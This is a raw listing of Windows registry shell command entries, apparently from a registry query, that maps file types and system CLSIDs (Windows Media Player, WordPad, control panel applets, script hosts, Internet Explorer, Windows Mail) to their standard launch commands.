    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.ADTS\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.ADTS\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.AIFF\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.AIFF\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.ASF\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:7 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.ASF\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:7 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.ASX\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.ASX\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.AU\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.AU\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.AVI\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:8 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.AVI\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:8 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.CDA\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.CDA\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.FLAC\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.FLAC\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.M2TS\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:12 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.M2TS\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:12 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.M3U\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.M3U\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.M4A\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.M4A\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MIDI\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MIDI\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MK3D\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MK3D\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MKA\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MKA\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MKV\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MKV\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MOV\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MOV\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MP3\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MP3\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MP4\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MP4\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:6 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MPEG\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:9 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.MPEG\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:9 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.TTS\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:12 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.TTS\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:12 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WAV\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WAV\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WAX\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WAX\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.wma\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:5 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.wma\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:5 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WMD\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /WMPackage:"%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WMS\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /layout:"%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WMV\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:7 /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WMV\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /prefetch:7 /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WMZ\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /layout:"%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WPL\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WPL\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WVX\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Open "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocFile.WVX\shell\play\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" /Play "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocProtocol.DLNA-PLAYSINGLE\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WMP11.AssocProtocol.MMS\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles(x86)%\Windows Media Player\wmplayer.exe" "%L"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wordpad.Document.1\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wordpad.Document.1\shell\print\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /p "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Wordpad.Document.1\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows NT\Accessories\WORDPAD.EXE" /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00021400-0000-0000-C000-000000000046}\shell\cmd\command
    (Default)    REG_SZ    cmd.exe /s /k pushd "%V"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0AFACED1-E828-11D1-9187-B532F1E9575D}\shell\find\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0DF44EAA-FF21-4412-828E-260A8728E7F1}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Options_RunDLL 1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\shell\find\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\find\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\shell\Manage\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\CompMgmtLauncher.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{38A98528-6CBF-4CA9-8DC0-B1E1D10F7B1B}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\van.dll,RunVAN

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{38A98528-6CBF-4CA9-8DC0-B1E1D10F7B1B}\Shell\OpenWithoutDiagnostics\Command
    (Default)    REG_EXPAND_SZ    rundll32.exe %SystemRoot%\system32\van.dll,RunVAN /disablediagnostics

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3f6bc534-dfa1-4ab4-ae54-ef25a74e0107}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rstrui.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{40419485-C444-4567-851A-2DD7BFA1684D}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\telephon.cpl

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\shell\cmd\command
    (Default)    REG_SZ    cmd.exe /s /k pushd "%V"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{450D8FBA-AD25-11D0-98A8-0800361B1103}\shell\find\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{48e7caab-b918-4e58-a94d-505519c795dc}\shell\find\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\Explorer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{62D8ED13-C9D0-4CE8-A914-47DD628FB1B0}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\intl.cpl

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{6C8EEC18-8D75-41B2-A177-8831D59D2D50}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\main.cpl

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{6DFD7C5C-2451-11d3-A299-00C04F8EF6AF}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Options_RunDLL 0

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{6DFD7C5C-2451-11d3-A299-00C04F8EF6AF}\Shell\RunAs\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Options_RunDLL 0

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{725BE8F7-668E-4C7B-8F90-46BDB0936430}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\main.cpl,@1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{74246bfc-4c96-11d0-abef-0020af6b0b7a}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe %SystemRoot%\system32\devmgmt.msc

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{74246bfc-4c96-11d0-abef-0020af6b0b7a}\Shell\RunAs\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\mmc.exe %SystemRoot%\system32\devmgmt.msc

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{7A9D77BD-5403-11d2-8785-2E0420524153}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    netplwiz.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{87D66A43-7B11-4A28-9811-C86EE395ACF7}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\srchadmin.dll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{A3DD4F92-658A-410F-84FD-6FBBBEF2FFFE}\Shell\Open\Command
    (Default)    REG_SZ    C:\Windows\SysWOW64\rundll32.exe C:\Windows\SysWOW64\shell32.dll,Control_RunDLL C:\Windows\SysWOW64\inetcpl.cpl

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B2C761C6-29BC-4f19-9251-E6195265BAF1}\Shell\Open\Command
    (Default)    REG_SZ    "C:\Windows\SysWOW64\colorcpl.exe"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\changehomegroupsettings\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.HomeGroup

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\sharewithdevices\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.NetworkAndSharingCenter /page ShareMedia

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\starthomegrouptroubleshooter\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\msdt.exe -id HomegroupDiagnostic

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B4FB3F98-C1EA-428d-A78A-D1F5659CBA93}\shell\viewhomegrouppassword\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.HomeGroup /page Passkey

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{D17D1D6D-CC3F-4815-8FE3-607E7D5D10B3}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\Speech\SpeechUX\sapi.cpl

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{D4480A50-BA28-11d1-8E75-00C04FA31A86}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    rundll32 %SystemRoot%\System32\shwebsvc.dll,AddNetPlaceRunDll

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{E2E7934B-DCE5-43C4-9576-7FE4F75E7480}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\timedate.cpl

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{E44E5D18-0652-4508-A4E2-8A090067BCB0}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\control.exe /name Microsoft.DefaultPrograms

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{F2DDFC82-8F12-4CDD-B7DC-D4FE1425AA4D}\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32.exe %SystemRoot%\System32\shell32.dll,Control_RunDLL %SystemRoot%\System32\mmsys.cpl

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WPDContextMenu.Url\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\rundll32.exe" "%SystemRoot%\System32\ieframe.dll",OpenURL %l

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WSFFile\Shell\Edit\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\Notepad.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WSFFile\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\WScript.exe" "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WSFFile\Shell\Open2\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\CScript.exe" "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WSFFile\Shell\Print\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\Notepad.exe" /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WSHFile\Shell\Open\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\WScript.exe" "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WSHFile\Shell\Open2\Command
    (Default)    REG_EXPAND_SZ    "%SystemRoot%\System32\CScript.exe" "%1" %*

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\xhtmlfile\shell\open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\xhtmlfile\shell\opennew\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\xhtmlfile\shell\print\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\rundll32.exe" "%systemroot%\system32\mshtml.dll",PrintHTML "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\xhtmlfile\shell\printto\command
    (Default)    REG_EXPAND_SZ    "%systemroot%\system32\rundll32.exe" "%systemroot%\system32\mshtml.dll",PrintHTML "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\xmlfile\shell\Open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\xslfile\shell\Open\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\zapfile\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\zapfile\shell\print\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\NOTEPAD.EXE /p %1

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\zapfile\shell\printto\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\notepad.exe /pt "%1" "%2" "%3" "%4"

HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Contacts\Address Book\Protocols\certificate_wab_auto_file\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /certificate "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Contacts\Address Book\Protocols\contact_wab_auto_file\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /contact "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Contacts\Address Book\Protocols\group_wab_auto_file\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /Group "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Contacts\Address Book\Protocols\LDAP\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Contacts\Address Book\Protocols\vcard_wab_auto_file\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /vcard "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Contacts\Address Book\shell\open\command
    (Default)    REG_EXPAND_SZ    "%ProgramFiles%\Windows Mail\wab.exe" /showexisting

HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Mail\Hotmail\Protocols\mailto\shell\open\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\system32\rundll32.exe "%ProgramFiles%\Internet Explorer\hmmapi.dll",MailToProtocolHandler %1

HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Mail\Hotmail\shell\open\command
    (Default)    REG_EXPAND_SZ    %systemRoot%\system32\rundll32.exe "%ProgramFiles%\Internet Explorer\hmmapi.dll",OpenInboxHandler

HKEY_LOCAL_MACHINE\SOFTWARE\Clients\Media\Windows Media Player\shell\open\command
    (Default)    REG_EXPAND_SZ    %ProgramFiles(x86)%\Windows Media Player\wmplayer.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\naom\command
    (Default)    REG_SZ    "C:\Program Files\Internet Explorer\iexplore.exe" -extoff

HKEY_LOCAL_MACHINE\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\command
    (Default)    REG_SZ    C:\Program Files\Internet Explorer\iexplore.exe

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\Windows.AddNetworkLocation\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\rundll32 %SystemRoot%\System32\shwebsvc.dll,AddNetPlaceRunDll

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\Windows.AddPrinter\command
    (Default)    REG_EXPAND_SZ    %systemroot%\system32\rundll32.exe printui.dll,PrintUIEntry /il

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\CommandStore\shell\Windows.HistoryVaultRestore\command
    (Default)    REG_EXPAND_SZ    %SystemRoot%\System32\FileHistory.exe "%1"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderTypes\{de2b70ec-9bf7-4a93-bd3d-243f7881d492}\TasksItemsSelected\0\{27dfca82-8593-46e4-98d8-23eb83452f65}\shell\InvokeTask\command
    (Default)    REG_EXPAND_SZ    rundll32.exe "%CommonProgramFiles%\System\wab32.dll",ShellUICommand_OnNewEmail %*

